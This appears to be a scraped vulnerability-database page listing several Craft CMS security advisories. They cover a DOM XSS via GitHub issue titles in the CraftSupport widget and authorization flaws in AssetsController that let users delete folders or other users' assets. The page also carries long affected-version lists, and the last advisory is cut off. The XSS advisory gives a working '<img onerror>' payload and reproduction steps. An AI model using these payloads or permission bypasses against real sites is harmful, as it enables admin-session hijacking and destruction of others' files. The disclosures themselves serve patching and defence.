            5.1.2


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          4.18.0


          5.10.0

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-55790 GHSA-24x4-j6x9-rfw5 Jul 06, 2026

Craft CMS: DOM XSS via GitHub issue title in CraftSupport widget

High

Network Low None

Summary

An attacker with only a GitHub account can plant a JavaScript payload in a craftcms/cms issue title. When a Craft admin uses the CraftSupport widget’s "Give feedback" screen and types a search term that returns the poisoned issue, the payload executes in the admin’s control panel session.

No control panel account or elevated privileges are required on the attacker’s side.

Preconditions

Attacker has a GitHub account (no control panel access needed).
Victim is an administrator, and you have the CraftSupport widget on the dashboard.
Victim uses the "Give feedback" screen and types a search term that returns the poisoned issue.

Root cause

CraftSupportWidget.js lines 382-392:

$('<a>', {
  href: this.getSearchResultUrl(results[i]),
  target: '_blank',
  html:
    '<span class="status ' +
    this.getSearchResultStatus(results[i]) +
    '"></span>' +
    this.getSearchResultText(results[i]),
})

FeedbackScreen.getSearchResultText (line 669-671) returns result.title verbatim from the GitHub API response. The jQuery html: option sets the element’s innerHTML, so a title containing <img src=x onerror=...> executes immediately on render.

The GitHub API returns issue titles as raw JSON strings with no HTML encoding. The widget makes this request directly from the browser, without a Craft proxy or any sanitization step.

HelpScreen (Stack Exchange) is not affected because the Stack Exchange API HTML-encodes titles before returning them.

Steps to reproduce

Plant (attacker, GitHub account only):

Open https://github.com/craftcms/cms/issues/new.
Set the title to a string combining a plausible search term and the payload, e.g.:

<img src=x onerror=alert(document.domain)> cannot upload files

Submit the issue.

Trigger (victim, Craft admin):

Open the Craft control panel dashboard.
Open the CraftSupport widget, click "Give feedback".
Type cannot upload files in the search box.
alert(document.domain) fires in the admin's session.

Impact

XSS in the admin control panel session. The payload has access to Craft.csrfTokenName and Craft.csrfTokenValue and can send same-origin action requests as the admin without any further interaction.

Mitigating factors

Victim must actively use the "Give feedback" search screen.
Attacker must predict or social-engineer a search term the admin will type, or use a broad term likely to match.
Widget is only available to admins.

Resources

https://github.com/craftcms/cms/commit/6bbb66038a268552180ca5c8eed9f46ea25a4417

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 406 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.15


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.16


          5.9.23

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-50282 GHSA-3w32-23wj-rxg3 Jul 02, 2026

Craft CMS Vulnerable to Unauthorized Deletion of Destination Folders During Forced Moves

High

Network Low Low None

We have identified an authorization issue in Craft CMS where a forced folder move can delete a conflicting destination folder without destination delete permission.

Description

Craft CMS’s craft\\controllers\\AssetsController::actionMoveFolder() supports moving an asset folder into a destination parent folder. If a folder with the same name already exists at the destination, the action can be called with force=true to overwrite the destination.

The permission checks for this action allow:

deleteAssets:<sourceVolumeUid> for the folder being moved
createFolders:<destVolumeUid> for the destination parent folder
saveAssets:<destVolumeUid> for the destination parent folder

The action does not require deleteAssets on the destination volume or destination conflict folder. When force=true and a name conflict exists, the code deletes the destination folder to resolve the conflict.

$this->requireVolumePermissionByFolder('deleteAssets', $folderToMove);
$this->requireVolumePermissionByFolder('createFolders', $destinationFolder);
$this->requireVolumePermissionByFolder('saveAssets', $destinationFolder);

src/controllers/AssetsController.php:L751-L753

Indexed destination conflicts are deleted via the Assets service:

$assets->deleteFoldersByIds($existingFolder->id);

src/controllers/AssetsController.php:L798-L798

Unindexed destination conflicts are deleted directly in the volume filesystem:

$targetVolume->deleteDirectory(rtrim($destinationFolder->path, '/') . '/' . $folderToMove->name);

src/controllers/AssetsController.php:L815

Impact

A user who cannot delete assets in a destination volume can still delete a destination folder and its contents by triggering a forced move into a conflicting name. This can cause asset loss, broken references in entries and fields that point to deleted assets, and operational disruption.

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 402 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.14


          5.9.21

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-50284 GHSA-7h62-6v23-v8fm Jul 02, 2026

Craft CMS: Missing peer-permission check in `AssetsController::actionDeleteFolder` allows deletion of other users' assets

High

Network Low Low None

Summary

AssetsController::actionDeleteFolder() only requires the deleteAssets:<volume-uid> permission for the target folder. It never enforces deletePeerAssets:<volume-uid>, even though Assets::deleteFoldersByIds() cascades deletion to every descendant folder and every asset inside, regardless of who uploaded them. A low-privilege user who has been granted folder-management rights on a shared volume can therefore destroy assets uploaded by other users (peer assets), bypassing the per-asset peer-permission check that the sibling actionDeleteAsset endpoint correctly applies.

This is the same bug class that was just fixed in actionMoveFolder as GHSA-3w32-23wj-rxg3 (commit 05c2042, Apr 23 2026); the fix added requireVolumePermissionByFolder('deletePeerAssets', …) and savePeerAssets checks to the move endpoint but did not propagate to the delete-folder endpoint.

Details

src/controllers/AssetsController.php:552-569:

public function actionDeleteFolder(): Response
{
    $this->requireAcceptsJson();
    $folderId = $this->request->getRequiredBodyParam('folderId');

    $assets = Craft::$app->getAssets();
    $folder = $assets->getFolderById($folderId);

    if (!$folder) {
        throw new BadRequestHttpException('The folder cannot be found');
    }

    // Check if it's possible to delete objects in the target volume.
    $this->requireVolumePermissionByFolder('deleteAssets', $folder); // <-- only checks deleteAssets
    $assets->deleteFoldersByIds($folderId);

    return $this->asSuccess();
}

requireVolumePermissionByFolder() (src/controllers/AssetsControllerTrait.php:75-88) only resolves to a single requirePermission('deleteAssets:<vol-uid>') call. The peer-equivalent helper (requirePeerVolumePermissionByAsset) is never invoked because there is no folder-level peer helper that iterates the folder's contents.

Assets::deleteFoldersByIds() (src/services/Assets.php:311-349) then enumerates the folder + every descendant folder, queries every asset under those IDs, and calls Craft::$app->getElements()->deleteElement($asset, true) directly:

$assetQuery = Asset::find()->folderId($allFolderIds);
$elementService = Craft::$app->getElements();

foreach (Db::each($assetQuery) as $asset) {
    $asset->keepFileOnDelete = !$deleteDir;
    $elementService->deleteElement($asset, true);
}

This bypasses Asset::canDelete() (src/elements/Asset.php:1515-1536):

public function canDelete(User $user): bool
{
    if ($this->isFolder) { return false; }
    if (parent::canDelete($user)) { return true; }
    $volume = $this->getVolume();
    if (Assets::isTempUploadFs($volume->getFs())) { return true; }

    if ($this->uploaderId !== $user->id) {
        return $user->can("deletePeerAssets:$volume->uid"); // <-- never reached on cascade delete
    }
    return $user->can("deleteAssets:$volume->uid");
}

Compare to actionDeleteAsset (src/controllers/AssetsController.php:579-613), which correctly does:

$this->requireVolumePermissionByAsset('deleteAssets', $asset);
$this->requirePeerVolumePermissionByAsset('deletePeerAssets', $asset);

The fix that landed in 05c2042 for actionMoveFolder (src/controllers/AssetsController.php:733-765) added both savePeerAssets and deletePeerAssets requireVolumePermissionByFolder checks to mirror the per-asset pattern, but the same hardening was not applied to actionDeleteFolder or actionRenameFolder (which also calls deleteFoldersByIds indirectly through later logic).

The asymmetry between the two endpoints demonstrates the missing check.

Impact

Integrity / availability of other users' assets on any volume where the attacker has deleteAssets but not deletePeerAssets: the attacker can permanently delete peer-owned files (and their parent folder structure) on the underlying filesystem, with no recovery via Craft's UI.
The Craft permission model explicitly distinguishes "delete your own assets" (deleteAssets) from "delete other users' assets" (deletePeerAssets) precisely so administrators can grant the former without the latter on shared volumes — this finding renders that distinction unenforceable for any user given folder-delete rights.
No information disclosure or remote code execution; impact is bounded to the affected volume's contents.
Does not require any non-default configuration: the affected endpoint is enabled by default and only requires that an administrator has split deleteAssets from deletePeerAssets (the documented, supported permission model).

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 404 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.15


          5.9.22

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-50283 GHSA-qh45-9g5p-m2v4 Jul 02, 2026

Craft CMS: Unauthorized Deletion of Source Assets During File Replacement

Medium

Network Low Low None

We have identified an authorization issue in Craft CMS AssetsController::actionReplaceFile that can delete a source asset without source delete permission by supplying both assetId and sourceAssetId.

Description

Craft CMS’s craft\\controllers\\AssetsController::actionReplaceFile() supports replacing a target asset file using another existing asset as the source. The action loads:

$assetToReplace from assetId
$sourceAsset from sourceAssetId

It then enforces replace permissions using ($assetToReplace ?: $sourceAsset). When both IDs are provided, this expression resolves to the target asset so no permission check is performed against the source asset volume.

$this->requireVolumePermissionByAsset('replaceFiles', $assetToReplace ?: $sourceAsset);
$this->requirePeerVolumePermissionByAsset('replacePeerFiles', $assetToReplace ?: $sourceAsset);

src/controllers/AssetsController.php:L433-L434

In the branch where both assets are present, Craft copies the source file into the target and then deletes the source asset. There is no check for deleteAssets:<sourceVolumeUid> or deletePeerAssets:<sourceVolumeUid> for the source asset before deletion.

